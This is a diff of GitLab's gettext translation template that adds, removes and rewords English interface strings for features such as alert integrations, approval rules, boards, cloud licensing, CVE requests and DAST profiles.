@@ -2146,6 +2212,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2287,9 +2356,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2725,6 +2791,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2773,6 +2845,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2935,6 +3010,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2950,13 +3031,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2965,25 +3049,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2998,24 +3085,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3025,6 +3124,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3034,9 +3136,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3073,7 +3172,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3163,9 +3265,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3229,6 +3328,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3256,6 +3358,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3313,6 +3418,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3436,6 +3544,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3448,9 +3559,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3541,7 +3649,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3679,9 +3787,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3883,6 +3988,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3910,6 +4018,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3919,6 +4030,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3928,9 +4042,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4069,6 +4180,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4129,6 +4246,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4171,13 +4294,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4606,6 +4729,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4708,6 +4834,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4726,6 +4855,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4750,7 +4882,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4885,6 +5017,9 @@ msgstr[2] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4915,6 +5050,12 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4924,9 +5065,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4945,6 +5083,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4954,6 +5095,12 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4966,6 +5113,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4996,6 +5152,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5302,15 +5461,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5329,6 +5479,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5419,6 +5575,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5515,6 +5692,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5635,6 +5815,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5662,6 +5845,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5671,12 +5857,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6319,6 +6511,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6352,6 +6547,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6385,9 +6622,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6406,12 +6640,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6961,6 +7204,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7669,6 +7915,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7732,6 +7981,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8017,6 +8269,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8047,9 +8302,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8134,6 +8386,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8152,6 +8407,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8218,6 +8476,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8440,6 +8701,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8485,9 +8749,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8545,9 +8806,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8602,12 +8872,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8641,6 +8920,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8650,18 +8932,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8806,9 +9085,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8830,6 +9106,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8983,6 +9262,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9046,6 +9328,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9349,8 +9634,11 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9445,6 +9733,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9514,6 +9805,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9574,6 +9871,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9607,6 +9907,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9637,12 +9940,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9721,6 +10036,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9751,6 +10069,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10174,13 +10495,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10291,9 +10618,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10321,9 +10645,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10438,9 +10759,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10600,13 +10918,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10621,7 +10939,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10876,6 +11194,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11119,6 +11440,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11131,6 +11455,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11350,6 +11677,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11374,6 +11704,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11386,6 +11719,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11398,6 +11734,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11509,6 +11848,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11578,9 +11920,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12208,19 +12547,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12229,7 +12568,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12340,9 +12679,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12409,6 +12745,9 @@ msgstr ""
msgid "Expand milestones"
